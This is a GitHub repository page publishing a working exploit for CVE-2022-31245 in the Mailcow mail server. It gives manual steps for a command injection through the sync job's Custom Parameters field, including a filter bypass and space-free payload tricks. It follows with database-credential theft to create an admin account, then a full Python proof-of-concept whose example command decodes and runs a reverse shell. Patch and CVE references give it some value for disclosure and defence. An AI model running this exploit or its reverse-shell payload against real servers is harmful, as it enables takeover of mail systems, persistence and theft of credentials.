Skip to content

ly1g3/Mailcow-CVE-2022-31245

main
Switch branches/tags

Name already in use

A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
Code

Files

Permalink
Failed to load latest commit information.
Type
Name
Latest commit message
Commit time
July 25, 2022 07:33

Mailcow CVE-2022-31245

CVE-2022-31245: RCE and Domain Admin privilege escalation for Mailcow. Including POC.

Reported and fixed: 2022-05

Patched Version: https://github.com/mailcow/mailcow-dockerized/releases/tag/2022-05d
CVE: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-31245

CVE-2022-31245: Command Injection, RCE

Severity: 3/3
Type: Command Injection, RCE, Domain Takeover
Affected versions: least 2019 - 2022-05c

A flaw exists in all recent Mailcow versions where a regular user of the system can exploit the “Sync Job” feature to gain a shell using a command injection in imapsync. Using this vunerability a attacker can then easily pivot to the database and escalate privileges to the role of “Domain Admin” in Mailcow.

This exploit includes persistence by default since Sync Jobs run on a timer.

This exploit compromises the entire Mailcow instance. Tested and working on release as of 2022-05c. Patched in 2022-05d.

Technical overview

Using the steps below the vulnerability can be recreated.

Gaining shell:

  1. Go to the Mailcow login page (not SOGo)
  2. Login as a regular user
  3. Go to Sync Jobs
  4. Set the following values: hostname=MAILCOW_IP, Port=IMAP_PORT, Username=CURRENT_USER, Password=CURRENT_PASS, Encryption=PLAIN, Interval=1, Active=Check, Custom Parameters=--debug --nosslcheck --PIPEMESS=CMD Where the field "Custom Parameters" is the important field. CMD can be a arbitrary shell command without spaces. Using uppercase is important!
  5. Press save and wait 1 min for the command to execute.

Custom Parameters example payload:

--debug --nosslcheck --PIPEMESS=touch${IFS}test.txt

CMD cannot contain space,quotes or slashes use ${IFS} instead of space. Uppercase for --PIPEMESS is important to bypass check in functions.mailbox.inc.php at line 340:

if (strpos($custom_params, 'pipemess')) {
	$custom_params = '';
}

This uppercase command still works due to the fact that imapsync is case insensitive.

Privilege Escalation:

  1. After gaining shell on the dovcot container run env
  2. Find DBUSER and DBPASS
  3. Login to database using mysql and credentials
  4. Create new admin user or create a new admin API-key

Proof-of-Concept, POC

Automated POC. POC could in some cases need modification to run against non-local Mailcow instances.

#!/bin/python3

description = """

Mailcow authenticated RCE. Only for educational purposes!!
By: ly1g3[at]tuta.io

This exploit can be used to get mailcow domain admin using mysql credentials found in "env" after getting shell.
Quotes, spaces and slash cant be used in cmd. Use ${IFS} as space. End command with ; is recommended.
Example reverse shell use: --cmd 'echo${IFS}PYTHON_REVERSE_SHELL_BASE64${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}sh;' where PYTHON_REVERSE_SHELL_BASE64 is python reverse shell.


Example usage: ./mailcow_poc1.py --url https://192.168.1.2 --user test@local.com --passwd testpass --cmd 'echo${IFS}PYTHON_REVERSE_SHELL_BASE64${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}sh;'

"""


import requests
import urllib
import sys
from urllib.parse import urlparse
import argparse
from argparse import RawTextHelpFormatter
from datetime import datetime


parser = argparse.ArgumentParser(description=description, formatter_class=RawTextHelpFormatter)
parser.add_argument('--url', help='Url to the mailcow server', required=True)
parser.add_argument('--user', help='Mailcow username, example test@mailcow.com', required=True)
parser.add_argument('--passwd', help='Mailcow user password', required=True)
parser.add_argument('--cmd', help='Command to execute', required=True)

args = parser.parse_args()


base_url = args.url
# hostname = urlparse(base_url).netloc
hostname = '127.0.0.1'
user = args.user
password = args.passwd
cmd = args.cmd


# Get the required csrf token
def find_csrf_token(text):
    try:
        start1 = text.index("var csrf_token")
        start2 = text.index("'", start1)
        end2 = text.index("'", start2+1)
        csrf_token = text[start2+1:end2]
        return csrf_token
    except:
        return ""

login_url = base_url + '/'

s = requests.Session()

# Login
r1 = s.post(login_url, data={'login_user': user, 'pass_user': password}, verify=False)

token = find_csrf_token(r1.text)
if not token:
    print("Error no token found, login problems?")
    sys.exit(0)
print(f"CSRF token: {token}")


sync_url = base_url + '/api/v1/add/syncjob'

# Create sync job with command injection
attr = f'{{"host1":"{hostname}","port1":"143","user1":"{user}","password1":"{password}","enc1":"PLAIN","mins_interval":"1","subfolder2":"","maxage":"0","maxbytespersecond":"0","timeout1":"10","timeout2":"10","exclude":"(?i)spam|(?i)junk","custom_params":"--debug --nosslcheck --PIPEMESS={cmd}","subscribeall":"1","active":"1","csrf_token":"{token}"}}'
r2 = s.post(sync_url, data={'attr': attr, 'csrf_token': token}, verify=False)

c = r2.content
if c.find(b"mailbox_modified") != -1:
    print("Success, rule modified")
elif c.find(b"object_exists") != -1:
    print("ERROR: Object exists, remove existing rule before running this")
    print(c)
    sys.exit(0)
else:
    print("ERROR: Something went wrong")
    print(c)
now = datetime.now()
current_time = now.strftime("%H:%M:%S")
print("Command may take 1min to execute...")
print(f"Done at: {current_time}")

About

CVE-2022-31245: RCE and domain admin privilege escalation for Mailcow

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published